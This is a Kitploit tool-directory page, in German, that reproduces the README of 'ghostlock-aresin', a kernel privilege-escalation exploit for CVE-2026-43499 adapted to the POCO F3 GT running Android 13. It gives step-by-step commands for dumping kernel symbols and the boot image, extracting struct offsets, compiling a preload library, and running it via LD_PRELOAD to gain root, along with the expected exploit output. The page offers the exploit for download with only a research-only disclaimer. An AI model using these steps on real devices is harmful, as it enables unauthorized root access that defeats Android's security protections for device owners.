Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
ghostlock-aresin — GhostLock (CVE-2026-43499) Exploit für POCO F3 GT (aresin) — MediaTek Dimensity 1200, Linux 4.14.186 ARM64-Kernel, Privilegieneskalation durch Futex-PI-Kettenmanipulation | Kitploit
Tools/GitHubGitHub/nothingfumo/ghostlock-aresin
Android-SicherheitPrivilege EscalationSchwachstellenanalyseExploitationReverse EngineeringMobile SicherheitBinary-Exploitation
GitHubnothingfumo/ghostlock-aresin

ghostlock-aresin

GhostLock (CVE-2026-43499) Exploit für POCO F3 GT (aresin) — MediaTek Dimensity 1200, Linux 4.14.186 ARM64-Kernel, Privilegieneskalation durch Futex-PI-Kettenmanipulation

Repository anzeigen
42vor 5 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

GhostLock (CVE-2026-43499) — POCO F3 GT (aresin)

Data-only physmap overwrite Exploit für MediaTek Dimensity 1200 (MT6893). Kernel: 4.14.186-android13 / MIUI V14.0.4.0.TKJCNXM.

⚠️ Voraussetzungen

  • Gerät: POCO F3 GT / Redmi K40 Gaming Edition (Codename: aresin)
  • Chip: MediaTek Dimensity 1200 (MT6893)
  • System: Android 13 / MIUI 14 (V14.0.4.0.TKJCNXM)
  • Kernel: 4.14.186-g0dc1d312efb3
  • Kein BL-Unlock nötig — Shell-Berechtigung über Shizuku (drahtloses Debugging) reicht zum Ausführen
  • Shizuku oder adb shell zur Ausführung von arm64-Binaries
  • Nach dem Ausführen startet das Gerät neu (Kernel-Panic — erwartetes Verhalten). Falls Logs gespeichert werden sollen, vorher adb logcat verbinden

✅ Prüfung der Schwachstellenbedingungen

BedingungStatusBeschreibung
Kernel-Versionsbereich✅4.14.186 liegt im Bereich 2.6.39 ~ 7.0.4
CONFIG_FUTEX_PI✅Aktiviert (y)
CONFIG_RT_MUTEXES✅Aktiviert (y)
Architektur✅aarch64
CONFIG_PREEMPT✅Aktiviert (y)
CONFIG_RANDOMIZE_KSTACK❓Muss bestätigt werden (4.14 unterstützt es möglicherweise nicht)

🔧 Anpassungsschritte

Schritt 1: Kernel-Symboladressen extrahieren

root@kitploit:~
# 在设备上运行提取脚本
adb push tools/extract_offsets.sh /data/local/tmp/
adb shell sh /data/local/tmp/extract_offsets.sh
adb pull /data/local/tmp/ghostlock_offsets.txt

Wenn Root (Magisk) vorhanden ist, kann direkt aus /proc/kallsyms extrahiert werden:

root@kitploit:~
adb shell su -c "cat /proc/kallsyms | grep -E 'init_task|init_cred|entry_task|__per_cpu_offset|root_task_group|selinux_enforcing'"

Schritt 2: vmlinux extrahieren und Struct-Offsets analysieren

Methode A: vmlinux aus boot.img extrahieren

root@kitploit:~
# 1. 获取 boot.img
adb shell "ls /dev/block/by-name/boot"
adb shell "dd if=/dev/block/by-name/boot of=/data/local/tmp/boot.img"
adb pull /data/local/tmp/boot.img

# 2. 用 magiskboot 解包
magiskboot unpack boot.img
# 产物: kernel (压缩的 vmlinux)

# 3. 解压 vmlinux
magiskboot decompress kernel vmlinux.elf

# 4. 用 pahole 提取结构体偏移
pahole --structs=rt_mutex_waiter vmlinux.elf
pahole --structs=task_struct vmlinux.elf | grep -A2 -E "usage|prio|normal_prio|pi_lock|pi_waiters|pi_top_task|pi_blocked_on|cred|real_cred|task_group"

Methode B: Analyse mit Ghidra

  1. Öffne vmlinux.elf in Ghidra
  2. Suche nach den Strukturen rt_mutex_waiter und task_struct
  3. Notiere die Offsets der einzelnen Felder

Schritt 3: target.h ausfüllen

Trage die extrahierten Offsets an allen 0xTODO-Stellen in target.h ein.

Tabelle der wichtigsten Offsets:

Schritt 4: Kompilieren

root@kitploit:~
# 需要 Android NDK r27+
export NDK_ROOT=/path/to/android-ndk-r27
# 或使用 Android Studio 中的 NDK
export NDK_ROOT=$HOME/Library/Android/sdk/ndk/27.0.12077973

# 编译
make preload TARGET_HEADER=target.h

# 产物: build/bin/preload.so

Schritt 5: Testen

root@kitploit:~
# 推送到设备
adb push build/bin/preload.so /data/local/tmp/
adb push build/bin/ghostlock_aresin /data/local/tmp/ 2>/dev/null || true

# 运行
adb shell LD_PRELOAD=/data/local/tmp/preload.so /data/local/tmp/ghostlock_aresin

# 或用 Shizuku
# 在 Shizuku 中执行: LD_PRELOAD=/data/local/tmp/preload.so /data/local/tmp/ghostlock_aresin

📊 Erwartetes Verhalten

⚠️ Wichtige Hinweise

Unterschiede Kernel 4.14.x vs 6.1.x

  1. rt_mutex_waiter-Struktur unterschiedlich:

    • 4.14.x verwendet plist_node statt rb_node
    • Feld-Offsets völlig unterschiedlich
    • Möglicherweise keine deadline-/ww_ctx-Felder vorhanden
  2. task_struct-Layout unterschiedlich:

    • Die Offsets von pi_blocked_on, pi_lock usw. unterscheiden sich in 4.14.x von 6.1.x
    • uclamp-bezogene Felder existieren in 4.14.x möglicherweise nicht
  3. KASLR-Implementierung unterschiedlich:

    • Die KASLR-Randomisierung in 4.14.x unterscheidet sich von 6.1.x
    • Die Leak-Methode muss möglicherweise angepasst werden
  4. Sicherheitsunterschiede Android 13 vs 14:

    • SELinux-Richtlinien können unterschiedlich sein
    • Zugriffsbeschränkungen für /proc/self/pagemap können unterschiedlich sein

Offset-Verifizierung

Nach dem Eintragen der Offsets wird empfohlen, mit Ghidra gegenzuprüfen:

  1. Öffne vmlinux.elf in Ghidra
  2. Navigiere zur Struktur rt_mutex_waiter
  3. Stelle sicher, dass die Offsets jedes Felds mit target.h übereinstimmen

📁 Dateistruktur

root@kitploit:~
ghostlock-aresin/
├── README.md              # 本文件
├── Makefile               # 编译脚本
├── target.h               # 目标设备偏移定义 (需要填写)
├── src/                   # 源码
│   ├── main.c             # 主利用逻辑
│   ├── util.c             # 工具函数
│   ├── slide.c            # KASLR 泄漏
│   ├── fops.c             # 文件操作
│   ├── pipe.c             # pipe 相关
│   ├── preload.c          # LD_PRELOAD 入口
│   ├── su_daemon.c        # su 守护进程
│   ├── su_blob.S          # su 二进制嵌入
│   ├── standalone.c       # 独立运行
│   ├── common.h           # 公共定义
│   └── offset.h           # 偏移计算
├── tools/
│   └── extract_offsets.sh # 偏移提取脚本
└── build/
    ├── bin/               # 编译产物
    └── embed/             # 嵌入文件

📜 Lizenz

Nur für Forschungs- und Bildungszwecke. Verwendung auf eigene Gefahr.

Original-PoC: NebuSec/CyberMeowfia → IonStack/CVE-2026-43499/exploit/ Angepasst für: POCO F3 GT (aresin) von ghostlock-aresin

Tool herunterladen
FeldBeschreibungExtraktionsmethode
INIT_TASKinit_task-Adresse/proc/kallsyms oder Ghidra
INIT_CREDinit_cred-Adresse/proc/kallsyms oder Ghidra
WAITER_*_OFFFeld-Offsets von rt_mutex_waiterpahole / Ghidra
FAKE_TASK_*_OFFFeld-Offsets von task_structpahole / Ghidra
TASK_CRED_OFFCred-Zeiger-Offsetpahole / Ghidra
PhaseAusgabeBeschreibung
Initialisierung[*] GhostLock - aresin (MT6893 D1200) 4.14.186Gerät wurde korrekt erkannt
CPU-Bindung[+] CPU0 pinnedAn CPU0 gebunden
Adressladung[*] init_task @ 0xffffffc00xxxxxxxFeste LM-Adresse
Berechtigungsprüfung[+] uid: xxxxxAktuelle uid wird ausgegeben
KASLR-Slide[+] slide = 0 oder slide = xxxKASLR-Erkennung
Privilege Escalation auslösenBei Erfolg wird uid 0Root erhalten
Fehler[-] ... + NeustartKernel-Panic (Schwachstelle vorhanden, aber Offsets müssen angepasst werden)